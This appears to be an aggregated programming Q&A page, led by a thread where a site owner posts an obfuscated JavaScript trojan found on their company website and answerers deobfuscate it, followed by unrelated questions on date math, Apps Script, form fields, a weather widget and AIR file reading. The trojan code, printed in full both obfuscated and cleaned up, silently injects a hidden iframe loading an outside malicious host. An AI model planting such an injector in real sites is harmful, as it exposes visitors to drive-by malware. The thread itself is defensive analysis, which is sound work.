JavaScript trojan dissection - javascript

I've recently been playing with allot of JavaScript and started to consider that I couldn't encounter a piece of JavaScript that I wouldn't be able to debug.
Well I was pleasantly surprised and angered today when we discovered a number of JavaScript redirect trojans on our company’s website.
Most of the code we found I was able to easily dissect and used standard escaping to obfuscate the codes function.
But among the code we found the code below has completely stumped me on what its doing. (The only part that I can seem to work out is that it is doing a replace on some of the parameters).
So would anyone please be kind enough to dissect the following code for me? I would love to know exactly what’s going on...
<script>
function yJ() {};
this.sMZ = "sMZ";
yJ.prototype = {
w: function () {
var rJ = 13390;
this.m = "m";
this.fP = '';
this.q = "q";
this.oJ = "";
var vS = function () {
return 'vS'
};
var d = 'replace';
var qB = "";
x = '';
var s = document;
var xZ = "xZ";
mC = '';
var dV = "dV";
var b = window;
this.p = false;
this.kX = '';
nP = "nP";
var zE = "";
this.nU = false;
var yV = function () {
return 'yV'
};
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
this.pC = '';
var qV = false;
var fPU = new Array();
h = "";
var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, '');
var xV = 43258;
sT = '';
var mV = '';
this.wJ = "wJ";
var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, '');
var xB = '';
wI = "wI";
oT = false;
var nQ = 49042;
try {
zI = '';
var bF = new Array();
var aY = function () {
return 'aY'
};
var rN = false;
rF = "";
var cX = function () {
return 'cX'
};
var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, '');
this.rL = '';
var vH = function () {
return 'vH'
};
var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, '');
yD = "";
var eA = '';
var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, '');
vZ = '';
this.bG = "";
this.vL = false;
var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, '');
gI = '';
dVL = "dVL";
var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, '');
lH = "";
kD = "kD";
this.pH = false;
var k = 's9ric9'.gT(/[9Ni~O]/g, '');
var vB = '';
var kH = function () {
return 'kH'
};
var qH = new Array();
aD = '';
this.eQ = false;
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var cT = '';
var kL = function () {
return 'kL'
};
var bR = new Array();
this.cP = 22454;
var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, '');
lG = '';
tG = 7587;
hV = '';
this.oR = "oR";
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var dC = function () {};
var eR = new Date();
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
uM = "";
var i = function () {};
this.cI = "";
tU = false;
function qN() {};
xL = 57256;
var c = this.a();
this.eL = '';
var rY = function () {};
fG = false;
nO = false;
this.j = "";
this.iQ = 5330;
var sY = function () {};
var u = document[n](bQ);
this.tH = false;
zX = "";
u[r][o] = dH;
var kV = "kV";
pN = '';
var yG = new Array();
this.nOE = 818;
u[z](k, c);
this.bQK = "";
var yU = 15629;
var sM = new Array();
var eY = "eY";
var qP = '';
s[y][e](u);
var lU = "lU";
var zR = false;
var xS = "";
iX = 34795;
function pO() {};
this.gM = "";
} catch (g) {
var xI = false;
this.gO = false;
this.iZ = false;
this.iU = false;
var mQ = new Date();
var qF = function () {};
s.write(f);
var tS = "tS";
function aR() {};
nA = "nA";
var xT = new Date();
mZ = false;
var gN = new Array();
var wE = this;
var eB = 3562;
this.qE = "qE";
this.cS = false;
this.vK = false;
qEJ = false;
this.hW = false;
b[sV](function () {
function bI() {};
hJ = "";
var kVQ = "kVQ";
var iG = "";
var eBS = new Array();
rA = "";
wE.w();
jY = "";
var hB = "hB";
var iZF = '';
qY = "";
jYG = "";
uK = 30969;
var qD = "qD";
}, 326);
this.qC = "";
var aX = function () {};
var cN = "";
}
gB = false;
var fF = false;
this.hX = false;
},
a: function () {
rH = "rH";
this.bV = '';
var qW = "";
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
var sMS = new Array();
this.wL = false;
uS = "uS";
function pI() {};
}
};
var uI = false;
var kN = new yJ();
this.aQ = "aQ";
kN.w();
hT = 15101;
</script>

It embeds http://fancycake.xxx/something, and this is the line where you can see it:
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
You see how every odd character, when plucked from that string, forms the URL. I didn't run this, so I'm not sure under what conditions it does this, but you can see that String.replace has been renamed to String.gT and is being passed a regex against the characters which make the string obfuscated. If you apply that same method, plucking odd characters, you can see that there is a hidden iframe, some javascript event handlers, setAttribute, etc:
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
This is how String.replace is aliased:
var d = 'replace';
...
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
Within the context of that function, this is the string on which gT is being called and d is the string replace. On a string's prototype, this['replace'] returns the replace() method, which is then called with the two arguments to gT. The result is then returned.
Update
I transformed the script like so:
Replaced all string.gT() calls with their plain forms.
Removed any variables that aren't referenced.
Gave functions some common-sense names.
This is the result, it should be pretty clear how it works now:
function FancyCake() {};
FancyCake.prototype = {
embed: function () {
var d = 'replace';
var s = document;
var b = window;
var sV = 'setTimeout';
var f = "<html ><head ></head><body ></body></html>";
try {
zI = '';
var bF = new Array();
var y = 'body';
var r = 'style';
var bQ = 'iframe';
var t = 'write';
var n = 'createElement';
var k = 'src';
var z = 'setAttribute';
var dH = 'hidden';
var o = 'visibility';
var e = 'appendChild';
var c = this.getUrl();
var u = document[n](bQ);
u[r][o] = dH;
u[z](k, c);
s[y][e](u);
} catch (e) {
console.error(e);
s.write(f);
var cake = this;
b[sV](function () {
cake.embed();
}, 326);
}
},
getUrl: function () {
return "http://fancycake.net/.ph/1/";
}
};
var cake = new FancyCake();
cake.embed();

It adds an invisible iFrame to the following URL to your website:
<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe>
The website fancycake is marked as attacked and malicious under Firefox

Run it in a JavaScript debugger; eventually, the code will decompile itself and try to start. I suggest to use the latest version of FireFox maybe on a Linux box to be on the safe side.

Related

Translating PHP strtotime function into Javascript

I have a PHP function which calculates the time difference (hr/min/sec) of two values:
$mf_start_time = '10:00:00';
$mf_end_time = '11:00:00';
$st_start_time = '10:00:00';
$st_end_time = '12:00:00';
$sn_start_time = '10:00:00';
$sn_end_time = '13:00:00';
$ph_start_time = '10:00:00';
$ph_end_time = '14:00:00';
function time_interval($start,$end) {
$s = strtotime($start);
$e = strtotime($end);
if ($s < $e)
{
$a = $e - $s;
}
else
{
$e = strtotime('+1 day',$e);
$a = $e - $s;
}
$h = floor($a/3600);
$m = floor(($a%3600)/60);
$s = $a%60;
return trim(($h?$h.' hour ':'').($m?$m.' minute ':'').($s?$s.' second ':''));
}
$mf_duration = time_interval($mf_start_time,$mf_end_time);
$st_duration = time_interval($st_start_time,$st_end_time);
$sn_duration = time_interval($sn_start_time,$sn_end_time);
$ph_duration = time_interval($ph_start_time,$ph_end_time);
echo $mf_duration;
echo $st_duration;
echo $sn_duration;
echo $ph_duration;
My output for this is:
1 hour
2 hour
3 hour
4 hour
Now I am trying to translate this into Javascript, my problem is that I need to get strtotime() to work the same.
Here is what I tried in Javascript:
var mf_start_time = '10:00:00';
var mf_end_time = '11:00:00';
var st_start_time = '10:00:00';
var st_end_time = '12:00:00';
var sn_start_time = '10:00:00';
var sn_end_time = '13:00:00';
var ph_start_time = '10:00:00';
var ph_end_time = '14:00:00';
function time_interval(start,end)
{
var s = strtotime(start);
var e = strtotime(end);
if (s < e)
{
a = e - s;
}
else
{
var e = strtotime('+1 day',e);
var a = e - s;
}
var h = floor(a/3600);
var m = floor((a%3600)/60);
var s = a%60;
return trim((h?h+' hour ':'')+(m?m+' minute ':'')+(s?s+' second ':''));
}
var mf_duration = time_interval(mf_start_time,mf_end_time);
var st_duration = time_interval(st_start_time,st_end_time);
var sn_duration = time_interval(sn_start_time,sn_end_time);
var ph_duration = time_interval(ph_start_time,ph_end_time);
console.log(mf_duration);
console.log(st_duration);
console.log(sn_duration);
console.log(ph_duration);
This does not work because strtotime does not work for Javascript (error not defined). What can I use for that?
I did my best to replicate what your php does, however I don't know if this would be best practice in js, nor if it would be of the same use as you have in your php app. Hopefully this is a good starting point for you to see how js works 👍
var mf_start_time = '10:00:00';
var mf_end_time = '11:00:00';
var st_start_time = '10:00:00';
var st_end_time = '12:00:00';
var sn_start_time = '10:00:00';
var sn_end_time = '13:00:00';
var ph_start_time = '10:00:00';
var ph_end_time = '14:00:00';
function time_interval(start, end) {
var [sHour, sMinute, sSecond] = start.split(":");
var [eHour, eMinute, eSecond] = end.split(":");
var s = new Date();
s.setHours(sHour, sMinute, sSecond);
var e = new Date();
e.setHours(eHour, eMinute, eSecond);
var a;
if (s.getTime() < e.getTime()) {
a = e.getTime() - s.getTime();
} else {
e.setDate(e.getDate() + 1);
a = e.getTime() - s.getTime();
}
a = a / 1000;
var h = Math.floor(a/3600);
var m = Math.floor((a%3600)/60);
var s = a%60;
return (
(h ? h + ' hour ' : '') +
(m ? m +' minute ':'') +
(s ? s +' second ':'')
).trim();
}
var mf_duration = time_interval(mf_start_time, mf_end_time);
var st_duration = time_interval(st_start_time, st_end_time);
var sn_duration = time_interval(sn_start_time, sn_end_time);
var ph_duration = time_interval(ph_start_time, ph_end_time);
console.log(mf_duration);
console.log(st_duration);
console.log(sn_duration);
console.log(ph_duration);

One spreadsheet for each user

I have a code in GAS that works with a spreadsheet at the background and it works for a single use simultaneously.
The problem is that I want to create a copy of the spreadsheet, at the beginning of the code, for the interaction with every user that enter at the web App.
I tried two possibilities:
Create the duplicate at the beginning of the main.js in order to be recognized as global variable for every function in the code, but the code creates repetitive files when I interact with any element at the web page because Javascript read the codes with every interaction.
Create the duplicate within DoGet function creating at the end a variable linked to the Id or to the new file, but the rest of functions don't recognized that variable like a global variable, even declaring the variable at the beginning of the main.js
Code
var x;
if(x == null){
var myArray = crearnuevoarchivo(x);
x = myArray[0];
var database = myArray[1];
}
const sheetConfiguracion = database.getSheetByName("Configuracion");
var lastRowProgramas = lastRowForColumn(sheetConfiguracion, 18);
var lastRowMandos = lastRowForColumn(sheetConfiguracion, 12);
const sheetTipos = database.getSheetByName("Tipos");
var lastRowTipos = sheetTipos.getLastRow();
const sheetSolicitud = database.getSheetByName("Solicitud");
const registro_peticiones = SpreadsheetApp.openById('xxxxxxxxxxxxxx');
const sheetRegistro = registro_peticiones.getSheetByName("Registro");
const sheetHerramientas = database.getSheetByName("Herramientas");
var lastRowHerramientas = lastRowForColumn(sheetHerramientas, 1);
const sheetSolicitudFOD = database.getSheetByName("Solicitud_FOD");
const sheetfotosID = database.getSheetByName("FotosID");
function crearnuevoarchivo(x){
if(x == null){
const database2 = SpreadsheetApp.openById('xxxxxxxxxxxxxx');
var hoyarchivo = new Date();
var mesarchivo = hoyarchivo.getMonth() + 1;
var fechaarchivo = mesarchivo+"/"+hoyarchivo.getFullYear();
const databaseID = DriveApp.getFileById('xxxxxxxxxx').makeCopy('database '+fechaarchivo, DriveApp.getFolderById('xxxxxxxxxxxxx')).getId();
var database = SpreadsheetApp.openById(databaseID);
x = 1;
var myArray = new Array(2);
myArray[0] = x;
myArray[1] = database;
return myArray
}
}
var rutaWeb = ScriptApp.getService().getUrl();
function doGet(e) {
if(e.parameter.p){
var page = e.parameter.p;
if(page == "noFOD"){
var hojas = database.getSheets();
var nuevaSheet = hojas.pop();
var valor = nuevaSheet.getRange(2, 14).getValue();
return HtmlService.createTemplateFromFile(page).evaluate();
}
else{
if(page == "catalogo"){
var hojas = database.getSheets();
var nuevaSheet = hojas.pop();
nuevaSheet.getRange(3, 14).setValue(1);
var valor = nuevaSheet.getRange(3, 14).getValue();
return HtmlService.createTemplateFromFile(page).evaluate();
}
if(page == "index"){
var hojas = database.getSheets();
var nuevaSheet = hojas.pop();
var valor = nuevaSheet.getRange(5, 14).getValue();
var r = 5;
borrar_registro_noFOD();
borrar_registro_FOD()
return HtmlService.createTemplateFromFile(page).evaluate();
}
if(page == "FOD"){
var hojas = database.getSheets();
var nuevaSheet = hojas.pop();
var valor = nuevaSheet.getRange(4, 14).getValue();
var r = 4;
return HtmlService.createTemplateFromFile(page).evaluate();
}
if(page == "catalogoFOD"){
var hojas = database.getSheets();
var nuevaSheet = hojas.pop();
var r = 6;
nuevaSheet.getRange(6, 14).setValue(r)
return HtmlService.createTemplateFromFile(page).evaluate();
}
}
}else{
var out = new Array()
var sheets = database.getSheets();
for (var i=12 ; i < sheets.length ; i++){
var sheet= database.getSheetByName(sheets[i].getName());
database.deleteSheet(sheet);
}
const sheetTipos = database.getSheetByName("Tipos");
sheetTipos.copyTo(database);
var hojas = database.getSheets();
var nuevaSheet = hojas.pop();
nuevaSheet.getRange(2, 14).setValue(0);
nuevaSheet.getRange(3, 14).setValue(0);
nuevaSheet.getRange(4, 14).setValue(0);
nuevaSheet.getRange(5, 14).setValue(0);
nuevaSheet.getRange(1, 14, 7, 1).clearContent();
nuevaSheet.getRange(2, 14, 6, 1).setValue(0);
nuevaSheet.getRange(1, 15, 100, 7).clearContent();
borrar_registro_noFOD(database);
borrar_registro_FOD(database)
var x = 1;
var page = "index";
}
return HtmlService.createTemplateFromFile(page).evaluate();
}
Example of parameters that I'm passing from Index.html
/* <a href="<?!= rutaWeb + '?p=noFOD' ?>" */
Global variables in Apps Script are different from global variables in other programming languages.
A way of storing global variables is making use of the PropertiesService class in Apps Script and using:
setProperty(key, value) - for storing the key-value pair;
getProperty(key) - for retrieving the value associated with the key.
Reference
Apps Script Properties Class.

dynamically added input text field and get values to php and send to mysql

I have created like attachment and I have some problem to develop. The text boxes in bottom are dynamically created when add Article button pressed and now I want to update that "Added Article Details" section insert into mysql database some times have 5 rows sometime 2 rows and 1 row also wants to add. I named text box 1,2,3,4,5,6....... how to solve
My Javascript
function added_artic() {
if (added_art) {
document.getElementById('added_article').style.cssText = "display:block;";
var art_name = document.getElementsByName('article_name')[0].value;
var app = document.getElementsByName('appearance')[0].value;
var weight = document.getElementsByName('weight')[0].value;
var netWeight = document.getElementsByName('net_weight')[0].value;
var qty = document.getElementsByName('qty')[0].value;
var test = document.getElementsByName('test')[0].selectedOptions[0].text;
var added = document.getElementById("added");
var i_artname = document.createElement('input');
i_artname.value = art_name;
i_artname.name = "art_name" + art_name_id++;
i_artname.id = "txt_added";
i_artname.disabled = true;
added.appendChild(i_artname);
var i_app = document.createElement('input');
i_app.value = app;
i_app.name = "app" + app_id++;
i_app.id = "txt_added";
i_app.disabled = true;
added.appendChild(i_app);
var i_weight = document.createElement('input');
i_weight.value = weight;
i_weight.name = "weight" + weight_id++;
i_weight.id = "txt_added";
i_weight.className = "cal_weight";
i_weight.disabled = true;
added.appendChild(i_weight);
var i_netweight = document.createElement('input');
i_netweight.value = netWeight;
i_netweight.name = "netWeight" + netWeight_id++;
i_netweight.id = "txt_added";
i_netweight.className = "cal_netWeight";
i_netweight.disabled = true;
added.appendChild(i_netweight);
var i_qty = document.createElement('input');
i_qty.value = qty;
i_qty.name = "qty" + qty_id++;
i_qty.id = "txt_added";
i_qty.className = "cal_qty";
i_qty.disabled = true;
added.appendChild(i_qty);
var i_test = document.createElement('input');
i_test.value = test;
i_test.name = "test" + test_id++;
i_test.id = "txt_added";
i_test.className = "cal_test";
i_test.disabled = true;
added.appendChild(i_test);
var remove_btn = document.createElement('input');
remove_btn.type = "button";
remove_btn.value = "";
remove_btn.id = "remove_btn";
remove_btn.onclick = function ()
{
i_artname.parentElement.removeChild(i_artname);
i_app.parentElement.removeChild(i_app);
i_weight.parentElement.removeChild(i_weight);
i_netweight.parentElement.removeChild(i_netweight);
i_qty.parentElement.removeChild(i_qty);
i_test.parentElement.removeChild(i_test);
edit_btn.parentElement.removeChild(edit_btn);
this.parentElement.removeChild(this);
get_total();
if (!document.getElementsByName("test1")[0] && !document.getElementsByName("test2")[0] && !document.getElementsByName("test3")[0] && !document.getElementsByName("test4")[0] && !document.getElementsByName("test5")[0] && !document.getElementsByName("test6")[0] && !document.getElementsByName("test7")[0] && !document.getElementsByName("test8")[0] && !document.getElementsByName("test9")[0] && !document.getElementsByName("test10")[0])
{
document.getElementById('added_article').style.cssText = "display:none;";
}
}
added.appendChild(remove_btn);
var edit_btn = document.createElement('input');
edit_btn.type = "button";
edit_btn.value = "";
edit_btn.id = "edit_btn";
var a = 'weight' + (weight_id - 1);
var b = 'netWeight' + (netWeight_id - 1);
var c = 'qty' + (qty_id - 1);
edit_btn.onclick = function ()
{
document.getElementsByName(a)[0].disabled = false;
document.getElementsByName(b)[0].disabled = false;
document.getElementsByName(c)[0].disabled = false;
edit_btn.style.cssText = "background-image: url('images/update.png');";
edit_btn.onclick = function ()
{
document.getElementsByName(a)[0].disabled = true;
document.getElementsByName(b)[0].disabled = true;
document.getElementsByName(c)[0].disabled = true;
edit_btn.style.cssText = "background-image: url('images/edit.png');";
get_total();
};
};
added.appendChild(edit_btn);
document.getElementsByName('article_name')[0].value = "Article Name";
document.getElementsByName('appearance')[0].value = "Appearance";
document.getElementsByName('weight')[0].value = "";
document.getElementsByName('net_weight')[0].value = "";
document.getElementsByName('qty')[0].value = "";
document.getElementsByName('test')[0].value = "Select You Tested Karatage type";
}
}
my Project screen shot -

Keep Weather info even when offline

So I'm creating a widget for the iPhone lockscreen using CSS/HTML. I can't figure out how to keep the weather info from disappearing when the phone screen turns off after a minute or when the phone is offline. Any tips? Here's the code:
<script type="text/javascript">
var iconExtWall = '.png'
var iconExtLock = '.png'
var locale = 'Beirut, Lebanon'
var iconSetWall = 'stardock'
var iconSetLock = 'stardock'
var enableWallpaper = true
var isCelsius = true
var useRealFeel = false
var enableLockScreen = true
var source = 'appleAccuweatherStolen'
var stylesheetWall = 'mini'
var stylesheetLock = 'Under_StatusBar'
var updateInterval = 15
var postal;
var demoMode = false;
var enabled;
if (location.href.indexOf("Wallpaper") > 0){
stylesheet = stylesheetLock;
iconSet = iconSetLock;
iconExt = iconExtLock;
enabled = enableLockScreen;
}else{
stylesheet = stylesheetWall;
iconSet = iconSetWall;
iconExt = iconExtWall;
enabled = enableWallpaper;
}
if(enabled == true){
if(iconSet == null || iconSet == 'null' || iconSet == ""){
var iconSet = stylesheet;
}
var headID = document.getElementsByTagName("head")[0];
var styleNode = document.createElement('link');
styleNode.type = 'text/css';
styleNode.rel = 'stylesheet';
styleNode.href = 'Stylesheets/'+stylesheet+'.css';
headID.appendChild(styleNode);
var scriptNode = document.createElement('script');
scriptNode.type = 'text/javascript';
scriptNode.src = 'Sources/'+source+'.js';
headID.appendChild(scriptNode);
}
function onLoad(){
if (enabled == true){
if (demoMode == true){
document.getElementById("weatherIcon").src="IconSets/"+iconSet+"/"+"cloudy1"+iconExt;
document.getElementById("city").innerText="Somewhere";
document.getElementById("desc").innerText="Partly Cloudy";
document.getElementById("temp").innerText="100�";
document.getElementById("forecast").innerText="Sun";
}else{
document.getElementById("weatherIcon").src="IconSets/"+iconSet+"/"+"dunno"+iconExt;
validateWeatherLocation(escape(locale).replace(/^%u/g, "%"), setPostal)
}
}else{
document.getElementsByTagName("body")[0].innerText='';
}
}
function convertTemp(num)
{
if (isCelsius == true)
return Math.round ((num - 32) * 5 / 9);
else
return num;
}
function setPostal(obj){
if (obj.error == false){
if(obj.cities.length > 0){
postal = escape(obj.cities[0].zip).replace(/^%u/g, "%")
document.getElementById("WeatherContainer").className = "";
weatherRefresherTemp();
}else{
document.getElementById("city").innerText="Not Found";
document.getElementById("WeatherContainer").className = "errorLocaleNotFound";
}
}else{
document.getElementById("city").innerText=obj.errorString;
document.getElementById("WeatherContainer").className = "errorLocaleValidate";
setTimeout('validateWeatherLocation(escape(locale).replace(/^%u/g, "%"), setPostal)', Math.round(1000*60*5));
}
}
function dealWithWeather(obj){
var translatedesc="description";
if (obj.error == false){
document.getElementById("city").innerText=obj.city;
document.getElementById("city2").innerText=obj.city;
document.getElementById("desc").innerText=obj.description.toLowerCase();
if(useRealFeel == true){
tempValue = convertTemp(obj.realFeel);
}else{
tempValue = convertTemp(obj.temp)
}
document.getElementById("temp").innerText=tempValue+"º";
document.getElementById("weatherIcon").src="IconSets/"+iconSet+"/"+MiniIcons[obj.icon]+iconExt;
/*ProductRed*/
lastResults = new Array;
lastResults[0] = {daycode:obj.daycode, icon:obj.icon, hi:obj.hi, lo:obj.lo, now:obj.temp};
var c = obj.forecast.length;
var titi = new Array("Sun","Mon","Tue","Wed","Thu","Fri","Sat");
var toto =new Date();
var tutu = toto.getDay();
var tata;
if (c > 6) c = 6; // just to be safe
for (var i=0; i<c; ++i)
{
var forecast = obj.forecast[i];
tata = tutu + i;
if(tata > 6) {tata = tata - 7;}
document.getElementById('day'+i).innerText = titi[tata];
document.getElementById('hi'+i).innerHTML = convertTemp(forecast.hi)+'&#176 ';
document.getElementById('low'+i).innerHTML= convertTemp(forecast.lo)+'&#176 ';
document.getElementById('wIcon'+i).src="IconSets/"+iconSet+"/"+MiniIcons[forecast.icon]+iconExt;
lastResults[i+1] = {daycode:forecast.daycode, icon:forecast.icon, hi:forecast.hi, lo:forecast.lo};
}
/*ProductRed*/
document.getElementById("WeatherContainer").className = "";
}else{
//Could be down to any number of things, which is unhelpful...
document.getElementById("WeatherContainer").className = "errorWeatherDataFetch";
}
var this_date_timestamp = new Date()
var this_weekday = this_date_timestamp.getDay()
var this_date = this_date_timestamp.getDate()
var this_month = this_date_timestamp.getMonth()
var this_year = this_date_timestamp.getYear()
if (this_year < 1000)
this_year+= 1900;
if (this_year==101)
this_year=2001;
}
function weatherRefresherTemp(){ //I'm a bastard ugly hack. Hate me.
fetchWeatherData(dealWithWeather,postal);
setTimeout(weatherRefresherTemp, 60*1000*updateInterval);
}
Thanks!

Adobe AIR readLine

I need to process a text file one line at a time. In BASIC, I could use a readline command, which would read until the next carriage return/line feed.
How would you write a function for looping through a file one line at a time in AIR?
var myDir = air.File.documentsDirectory;
var myFile = myDir.resolvePath("Test.txt");
if (myFile.exists) {
var myFileStream = new air.FileStream();
myFileStream.open(myFile, air.FileMode.READ);
var myByteArray = new air.ByteArray();
myFileStream.readBytes(myByteArray,0,myFileStream.bytesAvailable);
air.Introspector.Console.log(myByteArray.length);
} else {
alert ('File not found.');
}
var LineNumber;
var ItemCode;
var OrderCode;
var Qty;
var myDir = air.File.documentsDirectory;
var myFile = myDir.resolvePath("Test.txt");
if (myFile.exists) {
var myFileStream = new air.FileStream();
myFileStream.open(myFile, air.FileMode.READ);
var myData = new air.ByteArray();
myFileStream.readBytes(myData,0,myFileStream.bytesAvailable);
var str = myData.toString();
var Pos = 0;
var Tab = 0;
var CRLF = 0;
EOL = str.indexOf("\r",Pos);
while (EOL > 0) {
Tab = str.indexOf('\t',Pos);
LineNumber = str.substring(Pos,Tab);
Pos = Tab + 1;
Tab = str.indexOf('\t',Pos);
ItemCode = str.substring(Pos,Tab);
Pos = Tab + 1;
Tab = str.indexOf('\t',Pos);
OrderCode = str.substring(Pos,Tab);
Pos = Tab + 1;
CRLF = str.indexOf('\r',Pos);
Qty = str.substring(Pos,CRLF);
Pos = EOL+1;
EOL = str.indexOf("\r",Pos);
}
} else {
alert ('File not found.');
}

Categories

Resources